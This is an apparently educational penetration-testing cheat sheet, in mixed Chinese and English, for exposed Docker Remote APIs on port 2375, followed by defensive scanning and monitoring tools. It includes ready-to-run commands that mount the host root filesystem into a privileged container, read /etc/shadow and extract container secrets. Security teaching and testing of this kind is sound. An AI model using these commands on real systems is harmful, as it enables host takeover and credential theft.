2375 - Docker Api

💡 学习提示: 本文档介绍 2375 - Docker API 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

注意 that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:

podman --version
podman info
pdoman images ls
podman ls

基本信息

Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / (root directory) to the container and read/write files of the host’s environment.

默认 port: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Manual

注意 that in order to enumerate the docker API you can use the docker command or curl like in the following example:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version

If you can contact the remote docker API with the docker command you can execute any of the docker commands previously commented to interest with the service.

提示

You can export DOCKER_HOST="tcp://localhost:2375" and avoid using the -H parameter with the docker command

Fast privilege escalation

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

Sometimes you’ll see 2376 up for the TLS endpoint. I haven’t been able to connect to it with the docker client but it’s possible to do it with curl.

If you want more information about this, more information is available where I copied the commands from: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automatic

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

In the following page you can find ways to escape from a docker container:

../linux-hardening/privilege-escalation/docker-security/

Abusing this it’s possible to escape form a container, you could run a weak container in the remote machine, escape from it, and compromise the machine:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

提权

If you are inside a host that is using docker, you may read this information to try to elevate privileges.

Discovering secrets in running Docker containers

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Check env (environment variable section) for secrets and you may find:

  • Passwords.
  • Ip’s.
  • Ports.
  • Paths.
  • Others… .

If you want to extract a file:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Securing your Docker

Securing Docker installation and usage

  • You can use the tool https://github.com/docker/docker-bench-security to inspect your current docker installation.
    • ./docker-bench-security.sh
  • You can use the tool https://github.com/kost/dockscan to inspect your current docker installation.
    • dockscan -v unix:///var/run/docker.sock
  • You can use the tool https://github.com/genuinetools/amicontained the privileges a container will have when run with different security options. This is useful to know the implications of using some security options to run a container:
    • docker run --rm -it r.j3ss.co/amicontained
    • docker run --rm -it --pid host r.j3ss.co/amicontained
    • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Securing Docker Images

  • You can use a docker image of https://github.com/quay/clair to make it scan your other docker images and find vulnerabilities.
    • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
    • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Securing Dockerfiles

Logging Suspicious activity

  • You can use the tool https://github.com/falcosecurity/falco to detect suspicious behaviour in running containers.
    • 注意 in the following chunk how Falco compiles a kernel module and insert it. After that, it loads the rules and start logging suspicious activities. In this case it has detected 2 privileged containers started, 1 of them with a sensitive mount, and after some seconds it detected how a shell was opened inside one of the containers.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
